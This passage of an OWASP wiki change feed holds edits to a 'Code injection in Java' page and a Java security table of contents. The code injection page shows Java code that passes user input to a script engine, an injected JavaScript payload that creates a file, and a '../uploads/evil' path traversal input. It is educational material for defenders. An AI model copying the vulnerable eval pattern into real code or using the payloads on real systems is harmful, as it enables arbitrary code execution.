&lt;br /&gt;
It is trivial for a user to load script files from other directories.  For example, inputting ''../uploads/evil''.  The restriction on the filename can be bypassed using a null byte character depending on how the file is opened.&lt;/div&gt;</summary>
		<author><name>Neil Bergman</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Java_Table_of_Contents&amp;diff=69679</id>
		<title>OWASP Java Table of Contents</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Java_Table_of_Contents&amp;diff=69679"/>
				<updated>2009-09-24T02:49:10Z</updated>
		
		<summary type="html">&lt;p&gt;Neil Bergman: /* Miscellaneous Injection Attacks */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;b&amp;gt;Key:&amp;lt;/b&amp;gt;&lt;br /&gt;
* xx%: Progress status of the paragraph&lt;br /&gt;
* &amp;lt;b&amp;gt;Review&amp;lt;/b&amp;gt;: The paragraph needs a review&lt;br /&gt;
* TD: Paragraph to be assigned&lt;br /&gt;
&lt;br /&gt;
==[[J2EE Security for Architects]]==&lt;br /&gt;
Discuss the security implications of common J2EE architectures.  This could be discussed in terms of: Authentication, Authorisation, Data Validation, Cross Site Scripting protection.  Other architecture concerns such as scalability, performance and maintainability can also be mentioned, but the focus on security should not be lost.&lt;br /&gt;
  &lt;br /&gt;
Any other security concerns that should be addressed during the design phase should also be mentioned here.&lt;br /&gt;
===Design considerations===&lt;br /&gt;
* Architectural considerations (0%, TD)&lt;br /&gt;
** EJB Middle tier (0%, TD)&lt;br /&gt;
** Web Services Middle tier (0%, TD)&lt;br /&gt;
** Spring Middle tier (0%, TD)&lt;br /&gt;
&lt;br /&gt;
==[[J2EE Security for Developers]]==&lt;br /&gt;
=== Noteworthy Frameworks ===&lt;br /&gt;
Discuss important and relevant Java security frameworks that would be useful to architects.  The information should be at a suitably high level. For example, by discussing the advantages and features as well as the associated costs (direct and indirect) of using the frameworks.&lt;br /&gt;
&lt;br /&gt;
(0%, Seeking Volunteers)&lt;br /&gt;
*	Cocoon&lt;br /&gt;
*	[[Java Server Faces]] (Sam Reghenzi - 90%, Finalising content)&lt;br /&gt;
*	JSecurity&lt;br /&gt;
*	SiteMesh&lt;br /&gt;
*	Spring (0%, Adrian San Juan, TD)&lt;br /&gt;
*	[[Struts]] (0% Jon Forck)&lt;br /&gt;
*	Tapestry&lt;br /&gt;
*	Tiles&lt;br /&gt;
*	Turbine&lt;br /&gt;
*	Webwork&lt;br /&gt;
*	[[Wicket]]&lt;br /&gt;
&lt;br /&gt;
===Java Security Basics===&lt;br /&gt;
Provide an introduction into the basic security services provided by the Java language and environment.  Remember to keep this relevant for web developers for the initial release - there may be a potential to expand this to thick clients in subsequent releases.&lt;br /&gt;
* Class Loading (0%, Philippe Clairet)&lt;br /&gt;
* Bytecode verifier (0%, Philippe Clairet)&lt;br /&gt;
* The Security Manager and security.policy file (0%, John Wilander, Philippe Clairet)&lt;br /&gt;
&lt;br /&gt;
===Input Validation Overview ===&lt;br /&gt;
Input validation is perhaps the most important category of application security. Any data entering a software system must be verified to contain safe data that is not mounting a SQL Injection, XSS, CSRF or other form of attack. This is done primarily through the use of regular expressions. It's crucial not to hard-code input validation routines. Regular expressions should contained within a configuration file that can easily updated by an InfoSec professional and not require a programmers intervention or deployment of new application code. Application security needs change over time as new attack vectors are discovered. Application administers need to be able to react to these changes as quickly as possible. &lt;br /&gt;
&lt;br /&gt;
===Input Validation ===&lt;br /&gt;
* Dangerous calls (BufferedReader.readLine(), ServletRequest.getParameter(), etc...) (0%, TD)&lt;br /&gt;
* [[How to add validation logic to HttpServletRequest]] (100%, Jeff Williams, Complete)&lt;br /&gt;
* [[How to perform HTML entity encoding in Java]] (100%, Jeff Williams, Complete)&lt;br /&gt;
&lt;br /&gt;
==== [[Preventing SQL Injection in Java]] ====&lt;br /&gt;
* Overview &lt;br /&gt;
* Prevention (60%, Stephen de Vries, &amp;lt;b&amp;gt;Review&amp;lt;/b&amp;gt;)&lt;br /&gt;
** White Listing&lt;br /&gt;
** Prepared Statements&lt;br /&gt;
** Stored Procedures &lt;br /&gt;
** Hibernate &lt;br /&gt;
** Ibatis (60%, Rohyt Belani, &amp;lt;b&amp;gt;Review&amp;lt;/b&amp;gt;)&lt;br /&gt;
** Spring JDBC &lt;br /&gt;
** EJB 3.0&lt;br /&gt;
** JDO&lt;br /&gt;
&lt;br /&gt;
==== [[Preventing LDAP Injection in Java]] ====&lt;br /&gt;
* Overview (100%, Stephen de Vries, Complete)&lt;br /&gt;
* Prevention (100%, Stephen de Vries, Complete)&lt;br /&gt;
&lt;br /&gt;
==== [[XPATH Injection]] ====&lt;br /&gt;
As with the other Injection sections, only provide cursory information on the general case. Should contain practical real-world advise and code examples for preventing XPATH injection.&lt;br /&gt;
* Overview (0%, TD)&lt;br /&gt;
* Prevention (0%, TD)&lt;br /&gt;
&lt;br /&gt;
==== [[Miscellaneous Injection Attacks]]  ====&lt;br /&gt;
* HTTP Response splitting (0%, TD)&lt;br /&gt;
* [[Code injection in Java]] (75%, Neil Bergman, Review)&lt;br /&gt;
* [[Command injection in Java]] - Runtime.getRuntime().exec() (100%, Neil Bergman, Review)&lt;br /&gt;
* Regular Expression (regex) Injections (20%)&lt;br /&gt;
&lt;br /&gt;
''' Status '''&lt;br /&gt;
In progress&lt;br /&gt;
&lt;br /&gt;
=== Authentication===&lt;br /&gt;
* [[Storing credentials]] - (20%, Adrian San Juan, &amp;lt;b&amp;gt;Review&amp;lt;/b&amp;gt;)&lt;br /&gt;
* [[Hashing Java|Hashing]] - (100%, Michel Prunet, &amp;lt;b&amp;gt;Review&amp;lt;/b&amp;gt;)&lt;br /&gt;
* [[SSL Best Practices]] - (20%, Philippe Curmin, &amp;lt;b&amp;gt;Review&amp;lt;/b&amp;gt;)&lt;br /&gt;
* [[Captchas in Java]] - (100%, Dave Ferguson, &amp;lt;b&amp;gt;Review&amp;lt;/b&amp;gt;) &lt;br /&gt;
* Container-managed authentication with Realms&lt;br /&gt;
** [[Declarative Access Control in Java]] - (100%, Dave Ferguson, Completed)&lt;br /&gt;
* [[JAAS Timed Login Module]] - (100%, Stephen de Vries, &amp;lt;b&amp;gt;Review&amp;lt;/b&amp;gt;)&lt;br /&gt;
* [[JAAS Tomcat Login Module]] - (100%, Stephen de Vries, &amp;lt;b&amp;gt;Review&amp;lt;/b&amp;gt;)&lt;br /&gt;
* [[Password length &amp;amp; complexity]] - (100%, Adrian San Juan, &amp;lt;b&amp;gt;Review&amp;lt;/b&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
===Session Management ===&lt;br /&gt;
The generic problems and solutions for session management are covered in the Guide.  This section should focus on Java specific examples.&lt;br /&gt;
* Logout (0%, TD)&lt;br /&gt;
* Session Timeout (0%, TD)&lt;br /&gt;
* Absolute Timeout (0%, TD)&lt;br /&gt;
* [[Session Fixation in Java]] (100%, Rohyt Belani, &amp;lt;b&amp;gt;Review&amp;lt;/b&amp;gt;)&lt;br /&gt;
* Terminating sessions (0%, TD)&lt;br /&gt;
** Terminating sessions when the browser window is closed&lt;br /&gt;
&lt;br /&gt;
===Authorization===&lt;br /&gt;
* [[Declarative v/s Programmatic]] (10%, TD)&lt;br /&gt;
* EJB Authorization (0%, TD)&lt;br /&gt;
* Acegi (0%, TD)&lt;br /&gt;
* JACC (0%, TD)&lt;br /&gt;
* Check horizontal privilege (0%, TD)&lt;br /&gt;
&lt;br /&gt;
=== Encryption===&lt;br /&gt;
* [http://www.owasp.org/index.php/Using_the_Java_Cryptographic_Extensions JCE] (100%, Joe Prasanna Kumar - To be reviewed)&lt;br /&gt;
* Storing db secrets (0%, TD)&lt;br /&gt;
* Encrypting JDBC connections (0%, TD)&lt;br /&gt;
* [http://www.owasp.org/index.php/Using_the_Java_Secure_Socket_Extensions JSSE] (100%, Joe Prasanna Kumar - To be reviewed)&lt;br /&gt;
* [http://www.owasp.org/index.php/Digital_Signature_Implementation_in_Java Digital Signatures in Java] (100%, Joe Prasanna Kumar - To be reviewed)&lt;br /&gt;
&lt;br /&gt;
=== Error Handling &amp;amp; Logging===&lt;br /&gt;
* Logging - why log? what to log? log4j, etc. (0%, TD)&lt;br /&gt;
* Exception handling techniques (0%, TD)&lt;br /&gt;
** fail-open/fail-closed&lt;br /&gt;
** resource cleanup&lt;br /&gt;
** finally block&lt;br /&gt;
** swallowing exceptions&lt;br /&gt;
* Exception handling frameworks (50%, TD)&lt;br /&gt;
** Servlet spec - web.xml &lt;br /&gt;
** [[Securing tomcat]] (100%, Darren Edmonds, Completed)&lt;br /&gt;
** JSP errorPage (0%, TD)&lt;br /&gt;
* Web application forensics (0%, TD)&lt;br /&gt;
&lt;br /&gt;
=== Web Services Security ===&lt;br /&gt;
* SAML (0%, TD)&lt;br /&gt;
* (X)WS-Security (0%, TD)&lt;br /&gt;
* SunJWSDP (0%, TD)&lt;br /&gt;
* WSS4J (0%, Eelco Klaver)&lt;br /&gt;
* XML Signature (JSR 105) (0%, TD)&lt;br /&gt;
* XML Encryption (JSR 106) (0%, TD)&lt;br /&gt;
&lt;br /&gt;
=== Code Analysis Tools ===&lt;br /&gt;
The introduction should cover the advantages and short comings of code analysis tools.  An overview of the current state of the art and the available tools would go well here.  As a start, only open source tools are listed, but if vendors of commercial tools adhere to the [[Tutorial]] guidelines, these submissions will be gladly received.&lt;br /&gt;
* Introduction (0%, TD)&lt;br /&gt;
* [[:Category:OWASP LAPSE Project]] (100%, &amp;lt;b&amp;gt;Review&amp;lt;/b&amp;gt;)&lt;br /&gt;
* FindBugs (0%, TD)&lt;br /&gt;
** Creating custom rules&lt;br /&gt;
* PMD (0%, TD)&lt;br /&gt;
** Creating custom rules&lt;br /&gt;
* JLint (0%, TD)&lt;br /&gt;
* Jmetrics (0%, TD)&lt;br /&gt;
&lt;br /&gt;
== J2EE Security For Deployers ==&lt;br /&gt;
Practical step-by-step guides to securing various J2EE servers.  Examples of secure configurations can also be provided for download.  If configurations are provided, they should be properly commented so that the rationale for configuration settings is clearly explained.  Users of the configurations should be provided with enough information to make their own risk decisions.&lt;br /&gt;
=== Securing Popular J2EE Servers ===&lt;br /&gt;
* [[Securing tomcat|Securing Tomcat]] - (100%, Darren Edmonds, Completed)&lt;br /&gt;
* Securing JBoss (0%, TD)&lt;br /&gt;
* Securing WebLogic (0%, TD)&lt;br /&gt;
* Securing WebSphere (0%, TD)&lt;br /&gt;
* Others...&lt;br /&gt;
&lt;br /&gt;
=== Defining a Java Security Policy ===&lt;br /&gt;
Practical information on creating a Java security policies for J2EE servers.&lt;br /&gt;
* PolicyTool - JChains already provides this functionality, one policy tool is enough.&lt;br /&gt;
* jChains (www.jchains.org) - (0%, TD)&lt;br /&gt;
&lt;br /&gt;
=== Protecting Binaries ===&lt;br /&gt;
* Bytecode manipulation tools and techniques (0%, TD)&lt;br /&gt;
* [[Bytecode obfuscation]] (100%, Pierre Parrend, Released)&lt;br /&gt;
* Convert bytecode to native machine code (0%, TD)&lt;br /&gt;
* [[Protecting code archives with digital signatures]] (100%, Pierre Parrend, Released)&lt;br /&gt;
* [[Signing jar files with jarsigner]] (100%, Pierre Parrend, Released)&lt;br /&gt;
&lt;br /&gt;
==J2EE Security for Security Analysts and Testers==&lt;br /&gt;
* Using Eclipse to verify Java applications (0%, TD)&lt;br /&gt;
* Using [[:Category:OWASP WebScarab Project|WebScarab]] to find vulnerabilities in J2EE applications - (0%, TD)&lt;br /&gt;
* Decompiling Java bytecode (0%, TD)&lt;br /&gt;
&lt;br /&gt;
== [[Java Security Resources]] (ongoing)==&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Java Project]]&lt;/div&gt;</summary>
		<author><name>Neil Bergman</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Code_injection_in_Java&amp;diff=68996</id>
		<title>Code injection in Java</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Code_injection_in_Java&amp;diff=68996"/>
				<updated>2009-09-16T12:30:36Z</updated>
		
		<summary type="html">&lt;p&gt;Neil Bergman: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Status==&lt;br /&gt;
Review&lt;br /&gt;
&lt;br /&gt;
==Overview==&lt;br /&gt;
&lt;br /&gt;
Code injection simply involves injecting malicious code into an application, which will be executed in the context of the application.  Java provides a scripting API that allows code written in scripting languages to access and control Java objects.  The scripting API comes with built-in support for Javascript using the Mozilla Rhino engine, but other language engines such as JRuby and Jython can be used as well.  If an attacker can control which script file is loaded or part of the script code that is evaluated, then malicious code can be executed.&lt;br /&gt;
&lt;br /&gt;
==Examples ==&lt;br /&gt;
&lt;br /&gt;
===Example 1===&lt;br /&gt;
&lt;br /&gt;
The code below allows a user to inject arbitrary Javascript into Java's script engine.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
import javax.script.*;&lt;br /&gt;
&lt;br /&gt;
public class Example1 {&lt;br /&gt;
	public static void main(String[] args) {&lt;br /&gt;
		try {&lt;br /&gt;
			ScriptEngineManager manager = new ScriptEngineManager();&lt;br /&gt;
			ScriptEngine engine = manager.getEngineByName(&amp;quot;JavaScript&amp;quot;);&lt;br /&gt;
			System.out.println(args[0]);&lt;br /&gt;
			engine.eval(&amp;quot;print('&amp;quot;+ args[0] + &amp;quot;')&amp;quot;);&lt;br /&gt;
		} catch(Exception e) {&lt;br /&gt;
			e.printStackTrace();&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In this case, the attacker decides to inject code that creates a file on the file system.  &lt;br /&gt;
&lt;br /&gt;
hallo'); var fImport = new JavaImporter(java.io.File); with(fImport) { var f = new File('new'); f.createNewFile(); } //&lt;br /&gt;
&lt;br /&gt;
There are two built-in functions that allow Java classes and packages to be brought into the scripting environment: importPacket and importClass.  There is also a class, called JavaImporter, which allows multiple Java packages to be brought into the script code and then can be used to instantiate Java classes.&lt;br /&gt;
&lt;br /&gt;
===Example 2===&lt;br /&gt;
&lt;br /&gt;
The code below allows a user to control which file is loaded into Java's script engine.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
import javax.script.*;&lt;br /&gt;
import java.io.*;&lt;br /&gt;
&lt;br /&gt;
public class Example2 {&lt;br /&gt;
	public static void main(String[] args) {&lt;br /&gt;
		try {&lt;br /&gt;
			ScriptEngineManager manager = new ScriptEngineManager();&lt;br /&gt;
			ScriptEngine engine = manager.getEngineByName(&amp;quot;JavaScript&amp;quot;);&lt;br /&gt;
			engine.eval(new java.io.FileReader(&amp;quot;resources/&amp;quot; + args[0] + &amp;quot;.js&amp;quot;));&lt;br /&gt;
		} catch(Exception e) {&lt;br /&gt;
			e.printStackTrace();&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
It is trivial for a user to load script files from other directories.  For example, inputting ''../uploads/evil''.  The restriction on the filename can be bypassed using a null byte character depending on how the file is opened.&lt;/div&gt;</summary>
		<author><name>Neil Bergman</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Code_injection_in_Java&amp;diff=68874</id>
		<title>Code injection in Java</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Code_injection_in_Java&amp;diff=68874"/>
				<updated>2009-09-15T05:30:18Z</updated>
		
		<summary type="html">&lt;p&gt;Neil Bergman: Created page with '==Status== Review  ==Overview==  Code injection simply involves injecting malicious code into an application, which will be executed in the context of the application.  Java prov…'&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Status==&lt;br /&gt;
Review&lt;br /&gt;
&lt;br /&gt;
==Overview==&lt;br /&gt;
&lt;br /&gt;
Code injection simply involves injecting malicious code into an application, which will be executed in the context of the application.  Java provides a scripting API that allows code written in scripting languages to access and control Java objects.  The scripting API comes with built-in support for Javascript using the Mozilla Rhino engine, but other language engines such as JRuby and Jython can be used as well.  If an attacker can control which script file is loaded or part of the script code that is evaluated, then malicious code can be executed.&lt;br /&gt;
&lt;br /&gt;
==Examples ==&lt;br /&gt;
&lt;br /&gt;
===Example 1===&lt;br /&gt;
&lt;br /&gt;
The code below allows a user to inject arbitrary Javascript into Java's script engine.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
import javax.script.*;&lt;br /&gt;
&lt;br /&gt;
public class Example1 {&lt;br /&gt;
	public static void main(String[] args) {&lt;br /&gt;
		try {&lt;br /&gt;
			ScriptEngineManager manager = new ScriptEngineManager();&lt;br /&gt;
			ScriptEngine engine = manager.getEngineByName(&amp;quot;JavaScript&amp;quot;);&lt;br /&gt;
			System.out.println(args[0]);&lt;br /&gt;
			engine.eval(&amp;quot;print('&amp;quot;+ args[0] + &amp;quot;')&amp;quot;);&lt;br /&gt;
		} catch(Exception e) {&lt;br /&gt;
			e.printStackTrace();&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In this case, the attacker decides to inject code that creates a file on the file system.  &lt;br /&gt;
&lt;br /&gt;
hallo'); var fImport = new JavaImporter(java.io.File); with(fImport) { var f = new File('new'); f.createNewFile(); } //&lt;br /&gt;
&lt;br /&gt;
There are two built-in functions that allow Java classes and packages to be brought into the scripting environment: importPacket and importClass.  There is also a class, called JavaImporter, which allows multiple Java packages to be brought into the script code and then can be used to instantiate Java classes.&lt;/div&gt;</summary>
		<author><name>Neil Bergman</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Java_Table_of_Contents&amp;diff=68873</id>
		<title>OWASP Java Table of Contents</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Java_Table_of_Contents&amp;diff=68873"/>
				<updated>2009-09-15T05:25:53Z</updated>
		
		<summary type="html">&lt;p&gt;Neil Bergman: /* Miscellaneous Injection Attacks */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;b&amp;gt;Key:&amp;lt;/b&amp;gt;&lt;br /&gt;
* xx%: Progress status of the paragraph&lt;br /&gt;
* &amp;lt;b&amp;gt;Review&amp;lt;/b&amp;gt;: The paragraph needs a review&lt;br /&gt;
* TD: Paragraph to be assigned&lt;br /&gt;
&lt;br /&gt;
==[[J2EE Security for Architects]]==&lt;br /&gt;
Discuss the security implications of common J2EE architectures.  This could be discussed in terms of: Authentication, Authorisation, Data Validation, Cross Site Scripting protection.  Other architecture concerns such as scalability, performance and maintainability can also be mentioned, but the focus on security should not be lost.&lt;br /&gt;
  &lt;br /&gt;
Any other security concerns that should be addressed during the design phase should also be mentioned here.&lt;br /&gt;
===Design considerations===&lt;br /&gt;
* Architectural considerations (0%, TD)&lt;br /&gt;
** EJB Middle tier (0%, TD)&lt;br /&gt;
** Web Services Middle tier (0%, TD)&lt;br /&gt;
** Spring Middle tier (0%, TD)&lt;br /&gt;
&lt;br /&gt;
==[[J2EE Security for Developers]]==&lt;br /&gt;
=== Noteworthy Frameworks ===&lt;br /&gt;
Discuss important and relevant Java security frameworks that would be useful to architects.  The information should be at a suitably high level. For example, by discussing the advantages and features as well as the associated costs (direct and indirect) of using the frameworks.&lt;br /&gt;
&lt;br /&gt;
(0%, Seeking Volunteers)&lt;br /&gt;
*	Cocoon&lt;br /&gt;
*	[[Java Server Faces]] (Sam Reghenzi - 90%, Finalising content)&lt;br /&gt;
*	JSecurity&lt;br /&gt;
*	SiteMesh&lt;br /&gt;
*	Spring (0%, Adrian San Juan, TD)&lt;br /&gt;
*	[[Struts]] (0% Jon Forck)&lt;br /&gt;
*	Tapestry&lt;br /&gt;
*	Tiles&lt;br /&gt;
*	Turbine&lt;br /&gt;
*	Webwork&lt;br /&gt;
*	[[Wicket]]&lt;br /&gt;
&lt;br /&gt;
===Java Security Basics===&lt;br /&gt;
Provide an introduction into the basic security services provided by the Java language and environment.  Remember to keep this relevant for web developers for the initial release - there may be a potential to expand this to thick clients in subsequent releases.&lt;br /&gt;
* Class Loading (0%, Philippe Clairet)&lt;br /&gt;
* Bytecode verifier (0%, Philippe Clairet)&lt;br /&gt;
* The Security Manager and security.policy file (0%, John Wilander, Philippe Clairet)&lt;br /&gt;
&lt;br /&gt;
===Input Validation Overview ===&lt;br /&gt;
Input validation is perhaps the most important category of application security. Any data entering a software system must be verified to contain safe data that is not mounting a SQL Injection, XSS, CSRF or other form of attack. This is done primarily through the use of regular expressions. It's crucial not to hard-code input validation routines. Regular expressions should contained within a configuration file that can easily updated by an InfoSec professional and not require a programmers intervention or deployment of new application code. Application security needs change over time as new attack vectors are discovered. Application administers need to be able to react to these changes as quickly as possible. &lt;br /&gt;
&lt;br /&gt;
===Input Validation ===&lt;br /&gt;
* Dangerous calls (BufferedReader.readLine(), ServletRequest.getParameter(), etc...) (0%, TD)&lt;br /&gt;
* [[How to add validation logic to HttpServletRequest]] (100%, Jeff Williams, Complete)&lt;br /&gt;
* [[How to perform HTML entity encoding in Java]] (100%, Jeff Williams, Complete)&lt;br /&gt;
&lt;br /&gt;
==== [[Preventing SQL Injection in Java]] ====&lt;br /&gt;
* Overview &lt;br /&gt;
* Prevention (60%, Stephen de Vries, &amp;lt;b&amp;gt;Review&amp;lt;/b&amp;gt;)&lt;br /&gt;
** White Listing&lt;br /&gt;
** Prepared Statements&lt;br /&gt;
** Stored Procedures &lt;br /&gt;
** Hibernate &lt;br /&gt;
** Ibatis (60%, Rohyt Belani, &amp;lt;b&amp;gt;Review&amp;lt;/b&amp;gt;)&lt;br /&gt;
** Spring JDBC &lt;br /&gt;
** EJB 3.0&lt;br /&gt;
** JDO&lt;br /&gt;
&lt;br /&gt;
==== [[Preventing LDAP Injection in Java]] ====&lt;br /&gt;
* Overview (100%, Stephen de Vries, Complete)&lt;br /&gt;
* Prevention (100%, Stephen de Vries, Complete)&lt;br /&gt;
&lt;br /&gt;
==== [[XPATH Injection]] ====&lt;br /&gt;
As with the other Injection sections, only provide cursory information on the general case. Should contain practical real-world advise and code examples for preventing XPATH injection.&lt;br /&gt;
* Overview (0%, TD)&lt;br /&gt;
* Prevention (0%, TD)&lt;br /&gt;
&lt;br /&gt;
==== [[Miscellaneous Injection Attacks]]  ====&lt;br /&gt;
* HTTP Response splitting (0%, TD)&lt;br /&gt;
* [[Code injection in Java]] (50%, Neil Bergman, Review)&lt;br /&gt;
* [[Command injection in Java]] - Runtime.getRuntime().exec() (100%, Neil Bergman, Review)&lt;br /&gt;
* Regular Expression (regex) Injections (20%)&lt;br /&gt;
&lt;br /&gt;
''' Status '''&lt;br /&gt;
In progress&lt;br /&gt;
&lt;br /&gt;
=== Authentication===&lt;br /&gt;
* [[Storing credentials]] - (20%, Adrian San Juan, &amp;lt;b&amp;gt;Review&amp;lt;/b&amp;gt;)&lt;br /&gt;
* [[Hashing Java|Hashing]] - (100%, Michel Prunet, &amp;lt;b&amp;gt;Review&amp;lt;/b&amp;gt;)&lt;br /&gt;
* [[SSL Best Practices]] - (20%, Philippe Curmin, &amp;lt;b&amp;gt;Review&amp;lt;/b&amp;gt;)&lt;br /&gt;
* [[Captchas in Java]] - (100%, Dave Ferguson, &amp;lt;b&amp;gt;Review&amp;lt;/b&amp;gt;) &lt;br /&gt;
* Container-managed authentication with Realms&lt;br /&gt;
** [[Declarative Access Control in Java]] - (100%, Dave Ferguson, Completed)&lt;br /&gt;
* [[JAAS Timed Login Module]] - (100%, Stephen de Vries, &amp;lt;b&amp;gt;Review&amp;lt;/b&amp;gt;)&lt;br /&gt;
* [[JAAS Tomcat Login Module]] - (100%, Stephen de Vries, &amp;lt;b&amp;gt;Review&amp;lt;/b&amp;gt;)&lt;br /&gt;
* [[Password length &amp;amp; complexity]] - (100%, Adrian San Juan, &amp;lt;b&amp;gt;Review&amp;lt;/b&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
===Session Management ===&lt;br /&gt;
The generic problems and solutions for session management are covered in the Guide.  This section should focus on Java specific examples.&lt;br /&gt;
* Logout (0%, TD)&lt;br /&gt;
* Session Timeout (0%, TD)&lt;br /&gt;
* Absolute Timeout (0%, TD)&lt;br /&gt;
* [[Session Fixation in Java]] (100%, Rohyt Belani, &amp;lt;b&amp;gt;Review&amp;lt;/b&amp;gt;)&lt;br /&gt;
* Terminating sessions (0%, TD)&lt;br /&gt;
** Terminating sessions when the browser window is closed&lt;br /&gt;
&lt;br /&gt;
===Authorization===&lt;br /&gt;
* [[Declarative v/s Programmatic]] (10%, TD)&lt;br /&gt;
* EJB Authorization (0%, TD)&lt;br /&gt;
* Acegi (0%, TD)&lt;br /&gt;
* JACC (0%, TD)&lt;br /&gt;
* Check horizontal privilege (0%, TD)&lt;br /&gt;
&lt;br /&gt;
=== Encryption===&lt;br /&gt;
* [http://www.owasp.org/index.php/Using_the_Java_Cryptographic_Extensions JCE] (100%, Joe Prasanna Kumar - To be reviewed)&lt;br /&gt;
* Storing db secrets (0%, TD)&lt;br /&gt;
* Encrypting JDBC connections (0%, TD)&lt;br /&gt;
* [http://www.owasp.org/index.php/Using_the_Java_Secure_Socket_Extensions JSSE] (100%, Joe Prasanna Kumar - To be reviewed)&lt;br /&gt;
* [http://www.owasp.org/index.php/Digital_Signature_Implementation_in_Java Digital Signatures in Java] (100%, Joe Prasanna Kumar - To be reviewed)&lt;br /&gt;
&lt;br /&gt;
=== Error Handling &amp;amp; Logging===&lt;br /&gt;
* Logging - why log? what to log? log4j, etc. (0%, TD)&lt;br /&gt;
* Exception handling techniques (0%, TD)&lt;br /&gt;
** fail-open/fail-closed&lt;br /&gt;
** resource cleanup&lt;br /&gt;
** finally block&lt;br /&gt;
** swallowing exceptions&lt;br /&gt;
* Exception handling frameworks (50%, TD)&lt;br /&gt;
** Servlet spec - web.xml &lt;br /&gt;
** [[Securing tomcat]] (100%, Darren Edmonds, Completed)&lt;br /&gt;
** JSP errorPage (0%, TD)&lt;br /&gt;
* Web application forensics (0%, TD)&lt;br /&gt;
&lt;br /&gt;
=== Web Services Security ===&lt;br /&gt;
* SAML (0%, TD)&lt;br /&gt;
* (X)WS-Security (0%, TD)&lt;br /&gt;
* SunJWSDP (0%, TD)&lt;br /&gt;
* WSS4J (0%, Eelco Klaver)&lt;br /&gt;
* XML Signature (JSR 105) (0%, TD)&lt;br /&gt;
* XML Encryption (JSR 106) (0%, TD)&lt;br /&gt;
&lt;br /&gt;
=== Code Analysis Tools ===&lt;br /&gt;
The introduction should cover the advantages and short comings of code analysis tools.  An overview of the current state of the art and the available tools would go well here.  As a start, only open source tools are listed, but if vendors of commercial tools adhere to the [[Tutorial]] guidelines, these submissions will be gladly received.&lt;br /&gt;
* Introduction (0%, TD)&lt;br /&gt;
* [[:Category:OWASP LAPSE Project]] (100%, &amp;lt;b&amp;gt;Review&amp;lt;/b&amp;gt;)&lt;br /&gt;
* FindBugs (0%, TD)&lt;br /&gt;
** Creating custom rules&lt;br /&gt;
* PMD (0%, TD)&lt;br /&gt;
** Creating custom rules&lt;br /&gt;
* JLint (0%, TD)&lt;br /&gt;
* Jmetrics (0%, TD)&lt;br /&gt;
&lt;br /&gt;
== J2EE Security For Deployers ==&lt;br /&gt;
Practical step-by-step guides to securing various J2EE servers.  Examples of secure configurations can also be provided for download.  If configurations are provided, they should be properly commented so that the rationale for configuration settings is clearly explained.  Users of the configurations should be provided with enough information to make their own risk decisions.&lt;br /&gt;
=== Securing Popular J2EE Servers ===&lt;br /&gt;
* [[Securing tomcat|Securing Tomcat]] - (100%, Darren Edmonds, Completed)&lt;br /&gt;
* Securing JBoss (0%, TD)&lt;br /&gt;
* Securing WebLogic (0%, TD)&lt;br /&gt;
* Securing WebSphere (0%, TD)&lt;br /&gt;
* Others...&lt;br /&gt;
&lt;br /&gt;
=== Defining a Java Security Policy ===&lt;br /&gt;
Practical information on creating a Java security policies for J2EE servers.&lt;br /&gt;
* PolicyTool - JChains already provides this functionality, one policy tool is enough.&lt;br /&gt;
* jChains (www.jchains.org) - (0%, TD)&lt;br /&gt;
&lt;br /&gt;
=== Protecting Binaries ===&lt;br /&gt;
* Bytecode manipulation tools and techniques (0%, TD)&lt;br /&gt;
* [[Bytecode obfuscation]] (100%, Pierre Parrend, Released)&lt;br /&gt;
* Convert bytecode to native machine code (0%, TD)&lt;br /&gt;
* [[Protecting code archives with digital signatures]] (100%, Pierre Parrend, Released)&lt;br /&gt;
* [[Signing jar files with jarsigner]] (100%, Pierre Parrend, Released)&lt;br /&gt;
&lt;br /&gt;
==J2EE Security for Security Analysts and Testers==&lt;br /&gt;
* Using Eclipse to verify Java applications (0%, TD)&lt;br /&gt;
* Using [[:Category:OWASP WebScarab Project|WebScarab]] to find vulnerabilities in J2EE applications - (0%, TD)&lt;br /&gt;
* Decompiling Java bytecode (0%, TD)&lt;br /&gt;
&lt;br /&gt;
== [[Java Security Resources]] (ongoing)==&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Java Project]]&lt;/div&gt;</summary>
		<author><name>Neil Bergman</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Code_Injection&amp;diff=68781</id>
		<title>Code Injection</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Code_Injection&amp;diff=68781"/>
				<updated>2009-09-13T18:32:20Z</updated>
		
		<summary type="html">&lt;p&gt;Neil Bergman: /* Examples */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Attack}}&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
